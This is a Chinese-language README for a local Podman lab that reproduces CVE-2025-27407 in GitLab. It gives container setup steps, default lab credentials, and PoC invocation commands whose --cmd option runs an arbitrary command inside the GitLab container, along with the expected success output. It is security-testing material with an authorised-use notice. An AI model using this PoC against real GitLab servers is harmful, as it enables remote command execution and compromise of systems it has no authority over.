CVE-2025-27407 GitLab Podman 实验室

用于验证 GitLab Direct Transfer HTTP 路径可达脆弱 graphql-ruby 内省模式加载器的最小本地实验室。该实验室运行一个易受攻击的 GitLab CE 容器；PoC 脚本仅在测试时在进程中启动其伪造的 GitLab 源服务器。

仅对您拥有或明确授权测试的系统运行此操作。

文件

要求

• 带有 podman 的 Linux 主机
• curl
• 为 GitLab 和 PoC 伪造源服务器空闲的本地端口
• 足够的 RAM/磁盘用于 GitLab Omnibus 容器

默认值：

启动实验室

端口 8080 是脚本的默认端口。如果该端口已被占用，请按如下所示使用 18080。

cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

在以下地址打开 GitLab：

http://127.0.0.1:18080

登录凭据：

root / Cve27407Password!

root 只是默认的实验室用户。PoC 触发器不需要管理员账户；任何能够创建/导入到目标命名空间的已认证用户都可以命中易受攻击的 Direct Transfer 路径。使用 --username 和 --password 以非管理员用户进行测试。

运行 PoC

MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

预期的信号：

[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

选项

环境变量覆盖

故障排除

• 如果 8080 端口被占用，则在运行 ./lab.sh up 时使用 GITLAB_HTTP_PORT=18080。
• 如果 PoC 无法绑定其源端口，将 --listen-port 改为未使用的端口。
• 如果标记验证与后台导入工作线程竞争，请增加 --wait-seconds 或重新运行 MARKER="$MARKER" ./lab.sh verify。
• 如果 GitLab 尚未准备就绪，重新运行 GITLAB_HTTP_PORT=18080 ./lab.sh wait。
• 如果之前的实验室卡住，运行 ./lab.sh cleanup 然后重新开始。

清理

./lab.sh cleanup

这将移除 GitLab 容器、任何来自旧版实验室的遗留伪造源容器以及实验室网络。它不会移除已下载的 Podman 镜像。